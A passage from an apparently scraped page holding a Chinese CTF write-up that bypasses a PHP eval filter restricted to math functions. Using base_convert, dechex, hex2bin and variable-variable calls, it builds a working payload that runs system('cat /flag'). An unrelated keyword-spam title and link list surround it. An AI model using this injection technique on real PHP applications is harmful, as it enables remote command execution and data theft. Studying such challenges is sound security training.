当前位置: 首页 > news >正文

前端网站开发心得体会wordpress设置先登录再进入

前端网站开发心得体会,wordpress设置先登录再进入,上海著名网站建设,58同城二手房出售文章目录 前言考点解题过程 前言 感慨自己实力不够#xff0c;心浮气躁根本做不来难题。难得这题对我还很有吸引力#xff0c;也涉及很多知识。只能说我是受益匪浅#xff0c;总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特… 文章目录 前言考点解题过程 前言 感慨自己实力不够心浮气躁根本做不来难题。难得这题对我还很有吸引力也涉及很多知识。只能说我是受益匪浅总的来说加油吧ctfer。 考点 利用php动态函数的特性利用php中的数学函数实现命令执行利用php7的特性就是可以用变量执行函数 解题过程 打开题目源代码 ?php error_reporting(0); //听说你很喜欢数学不知道你是否爱它胜过爱flag if(!isset($_GET[c])){show_source(__FILE__); }else{//例子 c20-1$content $_GET[c];if (strlen($content) 80) {die(太长了不会算);}$blacklist [ , \t, \r, \n,\, , , \[, \]];foreach ($blacklist as $blackitem) {if (preg_match(/ . $blackitem . /m, $content)) {die(请不要输入奇奇怪怪的字符);}}//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp$whitelist [abs, acos, acosh, asin, asinh, atan2, atan, atanh, base_convert, bindec, ceil, cos, cosh, decbin, dechex, decoct, deg2rad, exp, expm1, floor, fmod, getrandmax, hexdec, hypot, is_finite, is_infinite, is_nan, lcg_value, log10, log1p, log, max, min, mt_getrandmax, mt_rand, mt_srand, octdec, pi, pow, rad2deg, rand, round, sin, sinh, sqrt, srand, tan, tanh];preg_match_all(/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/, $content, $used_funcs); foreach ($used_funcs[0] as $func) {if (!in_array($func, $whitelist)) {die(请不要输入奇奇怪怪的函数);}}//帮你算出答案eval(echo .$content.;); } 简单分析一下只有一个GET传参参数是c然后对上传的值进行黑名单检测接着给了白名单以及常用的数学函数。这个提示很明显了需要我们用函数进行转换成我们的执行命令 我们访问该链接发现base_convert函数是突破口很明显我们要转换成字母 我们试试将phpinfo转换成十进制 然后在题目测试一下 发现成功访问 思路正确后我们现在就要想构造类似于system(ls /);这样的出来但是这里对我们c的值进行了超多过滤这里用的是构造出类似$_GET[1]这样。 关键点利用php动态函数的特性比如我们可以构造 ?c$a_GET;($$a)[1]1phpinfo();如此来看我们就可以绕过正则匹配的限制 现在的问题就是如何构造出_GET这里需要用到的两个函数是 dechex()函数 可以将十进制转换为十六进制 hex2bin()函数 可以将十六进制转换为ascii码 这里一开始做可能会有疑惑为什么要用到dechex()函数呢其实目的很明显因为c的值不能有字母而我们要想利用hex2bin()函数即十六进制有字母出现必须要进行转换 经过测试 hex2bin(5f474554) -- _GET往前推hex2bin可以用base_convert函数表示 base_convert(37907361743,10,36) -- hex2bin5f474554用dechex函数表示 dechex(1598506324); -- 5f474554整理一下 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}1phpinfo();注命名为$abs是因为abs在白名单里可以通过检测 然后再考虑到[]被过滤用{}替换即可 但是上传后并没有回显 原因很简单phpinfo只是被当成字符串并没有执行phpinfo(); 这里最后一个点就是我们传递的参数值为两个(即一个是函数名 一个是参数)该如何绕过呢 解决方法是用php7的特性就是可以用变量执行函数 简单测试下可以发现打印test出来 所以我们的payload为 ?c$absbase_convert(37907361743,10,36)(dechex(1598506324));($$abs){1}(($$abs){2})1system2cat /flag得到flag
http://www.zqtcl.cn/news/432920/

相关文章:

  • wordpress商城插件收费哪里可以做网站优化
  • 中国建设银行u盾下载假网站吗wordpress有没有付费
  • 海南哪家公司做网站开发一套管理系统多少钱
  • 做网站建设费用百姓网
  • 西安建设厅网站wpf做网站教程
  • 好的网页网站设计wordpress对外发邮件
  • 湖北网站建设贴吧信用宁波企业网查询
  • 佛山市官网网站建设多少钱网站建设与管理书籍
  • 网站建设佰金手指科杰二八佛山有那几家做网站
  • 网站建设刂搜金手指下拉贰伍wordpress 外链自动nofflow
  • 搭建一个网站多少钱手机软件开发用什么语言
  • 太原专业网站建设杭州网络推广专员
  • 广西专业建网站橙米网站建设
  • 百度做的网站能优化吗html网站系统
  • php素材网站源码免费下载网站维护的内容有哪些
  • 打鱼跟电子游戏网站怎么做佛山微网站开发哪家好
  • 知名的网站建设网站在工信部备案
  • 网站首页的快照更新慢爆wordpress密码
  • dw做网站背景图片设置铺平微博通 wordpress
  • 勉县网站建设电商网站要素
  • 重庆旅游seo整站优化网站制作的一般步骤是什么
  • 网站建设评估体系p2p网站建设框架
  • .net 快速网站开发东莞网站建设公司哪家好
  • 东莞个人网站设计潍坊专业人员继续教育
  • 网站建设如何创业建设招标网官网
  • 公司没有销售网站怎么做业务怎么做微信推送 网站
  • 商城网站模版郴州网页定制
  • 电子商务网站建设步骤海外广告投放渠道
  • 网站用花生壳nas做存储十堰市网站建设
  • 用html5做手机网站抖音平台建站工具